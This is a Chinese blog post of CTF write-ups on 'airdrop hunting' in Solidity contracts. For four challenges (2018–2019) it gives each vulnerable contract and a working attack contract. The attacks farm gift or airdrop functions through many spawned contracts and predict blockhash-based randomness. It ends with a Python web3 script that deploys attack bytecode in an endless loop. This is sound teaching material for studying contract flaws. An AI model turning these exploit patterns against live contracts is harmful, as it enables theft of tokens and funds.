薅羊毛

Airdrop Hunting

wiki部分

关于薅羊毛,原理很简单例如一个空投函数可以供所有人调用,那我用多个账户每个账户调用一次,最后把这些钱都转到一个账户上就累计成了巨大的财富,这就是薅羊毛。

数字经济大赛 2019

题目合约地址0x94bc4F858fcCf7B016ca240AfbDC93Db7C4FF656
攻击合约地址0xf60FbFE6eA8B16EA6cd03d8922eCAe684461F899
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.24;

contract jojo {
mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;
address owner;

constructor()public{
owner = msg.sender;
}

event SendFlag(string b64email);

function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
emit SendFlag(b64email);
}

function jojogame() payable{
uint geteth = msg.value / 1000000000000000000;
balanceOf[msg.sender] += geteth;
}

function gift() public {
assert(gift[msg.sender] == 0);
balanceOf[msg.sender] += 100;
gift[msg.sender] = 1;
}

function transfer(address to,uint value) public{
assert(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
}

}

攻击

典型薅羊毛,直接生成一千个账户调用gift然后转账给一个账户即可

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24;

import "./source.sol";
contract exp {
jojo target = jojo(0xd9145CCE52D386f254917e481eB44e9943F39138);
constructor() payable public {

}

function getBalance(uint num) public {
for (uint i =0 ;i < num ; i++){
new attack(address(this));
}
}

function getFlag(string b64email) public{

target.payforflag(b64email);
}

function balanceOf(address add) public returns (uint){
return target.balanceOf(add);
}
}

contract attack {

constructor (address address1) payable public{
jojo target = jojo(0xd9145CCE52D386f254917e481eB44e9943F39138);
target.gift();
target.transfer(address1,100);
}
}

设置num为0x100调用getBalance四次即可满足题意

最后调用getFlag即可,查看题目合约的events。

RoarCTF 2019 CoinFlip

合约源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
/**
*Submitted for verification at Etherscan.io on 2019-10-08
*/

pragma solidity ^0.4.24;

contract P_Bank
{
mapping (address => uint) public balances;

uint public MinDeposit = 0.1 ether;

Log TransferLog;

event FLAG(string b64email, string slogan);



constructor(address _log) public {
TransferLog = Log(_log);
}

function Ap() public {
if(balances[msg.sender] == 0) {
balances[msg.sender]+=1 ether;
}
}

function Transfer(address to, uint val) public {
if(val > balances[msg.sender]) {
revert();
}
balances[to]+=val;
balances[msg.sender]-=val;
}

function CaptureTheFlag(string b64email) public returns(bool){
require (balances[msg.sender] > 500 ether);
emit FLAG(b64email, "Congratulations to capture the flag!");
}


function Deposit()
public
payable
{
if(msg.value > MinDeposit)
{
balances[msg.sender]+= msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}

function CashOut(uint _am) public
{
if(_am<=balances[msg.sender])
{

if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}

function() public payable{}

}

contract Log
{

struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}

string err = "CashOut";
Message[] public History;

Message LastMsg;

function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}

攻击

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24;

import "./source.sol";
contract exp {

address t = 0xd9145CCE52D386f254917e481eB44e9943F39138;
P_Bank target = P_Bank(t);

constructor() payable public {

}

function attack(uint num,address acount) payable public {
for ( uint i =0;i< num ; i++){
target.Ap();
target.Transfer(acount, 1 ether);
}
}
}

QWB 2019

题目部署合约地址0x4c2c453CC4788514097c9c1Cc78B42a4B44ae05A
攻击合约地址0x8Bb4Be3a00EeAF6858EB0b934532A18bdbDE713F

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
pragma solidity ^0.4.23;

contract babybet {
mapping(address => uint) public balance;
mapping(address => uint) public status;
address owner;

//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);

constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}

//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;
}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

//get_profit
function profit(){
require(status[msg.sender]==0);
balance[msg.sender]+=10;
status[msg.sender]=1;
}

//add money
function () payable{
balance[msg.sender]+=msg.value/1000000000000000000;
}

//bet
function bet(uint num) {
require(balance[msg.sender]>=10);
require(status[msg.sender]<2);
balance[msg.sender]-=10;
uint256 seed = uint256(blockhash(block.number-1));
uint rand = seed % 3;
if (rand == num) {
balance[msg.sender]+=1000;
}
status[msg.sender]=2;
}

//transfer
function transferbalance(address to,uint amount){
require(balance[msg.sender]>=amount);
balance[msg.sender]-=amount;
balance[to]+=amount;
}

}

攻击

这题似乎当时比赛是给了选手部分源码,剩下的需要逆向,我这里就直接拿源码做了,本菜鸡基础的攻击学完了再逆向吧。

源码漏洞比较明显,先调用profit然后随机数预测调用bet,然后转账。生成多个合约账户来薅羊毛。

攻击合约如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24;

import "./source.sol";

contract exp {


constructor() public payable{

}
function Attack(address to, uint num) public {
for (uint i =0 ; i < num ;i++){
attack exp = new attack();
exp.bet1();
exp.transfer(to);
}

}
function getFlag(string md5ofteamtoken,string b64email) public{
address a = 0x4c2c453CC4788514097c9c1Cc78B42a4B44ae05A;
babybet target = babybet(a);
target.payforflag(md5ofteamtoken, b64email);
}
}

contract attack {
address a = 0x4c2c453CC4788514097c9c1Cc78B42a4B44ae05A;
babybet target = babybet(a);

constructor() public payable{

// target.transferbalance(to,uint(1100));
}


function bet1() public payable {
target.profit();
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
target.bet(guess1);
}

function transfer(address to) public {
target.transferbalance(to, 1000);
}
}

设置num为0x63一次+(99*1000),我设置0x64就g,多次调用之后就能满足条件了。

最后调用攻击合约的getFlag即可

bctf 2018 Fake3d

前置知识 tx.origin和msg.sender

参考文章

分析

经典的Fake3d漏洞
参考文章

wp
合约源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
contract WinnerList{
address public owner;
struct Richman{
address who;
uint balance;
}

function note(address _addr, uint _value) public{
Richman rm;
rm.who = _addr;
rm.balance = _value;
}

}

contract Fake3D {
using SafeMath for *;
mapping(address => uint256) public balance;
uint public totalSupply = 10**18;
WinnerList wlist;

event FLAG(string b64email, string slogan);

constructor(address _addr) public{
wlist = WinnerList(_addr);
}

modifier turingTest() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}

function transfer(address _to, uint256 _amount) public{
require(balance[msg.sender] >= _amount);
balance[msg.sender] = balance[msg.sender].sub(_amount);
balance[_to] = balance[_to].add(_amount);
}


function airDrop() public turingTest returns (bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));

if((seed - ((seed / 1000) * 1000)) < 288){
balance[tx.origin] = balance[tx.origin].add(10);
totalSupply = totalSupply.sub(10);
return true;
}
else
return false;
}

function CaptureTheFlag(string b64email) public{
require (balance[msg.sender] > 8888);
wlist.note(msg.sender,balance[msg.sender]);
emit FLAG(b64email, "Congratulations to capture the flag?");
}

}

攻击

airDrop中存在随机数预测,满足if条件后就能让balance+10了,但注意这里使用的是tx.origin就是最开始调用合约的账户而不是调用airDrop函数的攻击合约账户地址。其中的turingTest可使用合约的构造函数绕过。

这里我最开也想到既然它判断了(seed - ((seed / 1000) * 1000)) < 288那么直接调用函数不就完了,总会有几率满足条件,不过就有点暴力,看了wp这样做确实也是能做的。。

部署攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24;

import "./source.sol";

import "./safemath.sol";

contract exp {
using SafeMath for *;
address contractAddress = 0x9f8fc2b400cd43eD139d0C9e949f1c70BE252443;
Fake3D target = Fake3D(contractAddress);
constructor() payable public{
for (uint i=0;i<100;i++){
new attack();
}
}
}


contract attack {
using SafeMath for *;
constructor() payable public {
address contractAddress = 0x9f8fc2b400cd43eD139d0C9e949f1c70BE252443;
Fake3D target = Fake3D(contractAddress);
target.airDrop();
}

}


这样一次能加两三百,编写脚本不断部署合约即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import solcx
from eth_abi import abi, encode_abi
from eth_utils import keccak
from Crypto.Util.number import bytes_to_long
from web3 import Web3,HTTPProvider
from hexbytes import *
def exp():
print('start------------------------------------------------------')
abi = '''[
{
"inputs": [],
"payable": true,
"stateMutability": "payable",
"type": "constructor"
}
]'''

bytecode = '''6080604052739f8fc2b400cd43ed139d0c9e949f1c70be2524436000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090505b60648110156100fc576100d1610102565b604051809103906000f0801580156100ed573d6000803e3d6000fd5b505080806001019150506100c0565b50610112565b6040516101038061015583390190565b6035806101206000396000f3006080604052600080fd00a165627a7a72305820ef15eff16f1da73a365765ef3bb4f2b0398b4723b68336998e2b0463e288768100296080604052600080739f8fc2b400cd43ed139d0c9e949f1c70be25244391508190508073ffffffffffffffffffffffffffffffffffffffff1663ca5d08806040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015608457600080fd5b505af11580156097573d6000803e3d6000fd5b505050506040513d602081101560ac57600080fd5b81019080805190602001909291905050505050506035806100ce6000396000f3006080604052600080fd00a165627a7a7230582042145ac5fce3a8d227a9e236ac33166a281f4454a234c72a076721571b8408c50029'''

account_from = {
'private_key': 'your private key',
'address': '0x9c5D5bE2a76503957853d9b6f81fFDE226635739',
}

contract_address = Web3.toChecksumAddress("0x9f8fc2b400cd43eD139d0C9e949f1c70BE252443")
rpc = "your rpc "
web3 = Web3(HTTPProvider(rpc))

print(f'Attempting to deploy from account: { account_from["address"] }')

# 4. Create contract instance
Incrementer = web3.eth.contract(abi=abi, bytecode=bytecode)

# 5. Build constructor tx
construct_txn = Incrementer.constructor().buildTransaction(
{
'from': account_from['address'],
'nonce': web3.eth.get_transaction_count(account_from['address']),
}
)

# 6. Sign tx with PK
tx_create = web3.eth.account.sign_transaction(construct_txn, account_from['private_key'])

# 7. Send tx and wait for receipt
tx_hash = web3.eth.send_raw_transaction(tx_create.rawTransaction)
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)

print(f'Contract deployed at address: { tx_receipt.contractAddress }')
print("next------------------------------------------------------")
if __name__ == '__main__':
while True:
exp()

到达条件之后调用CaptureTheFlag函数即可


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!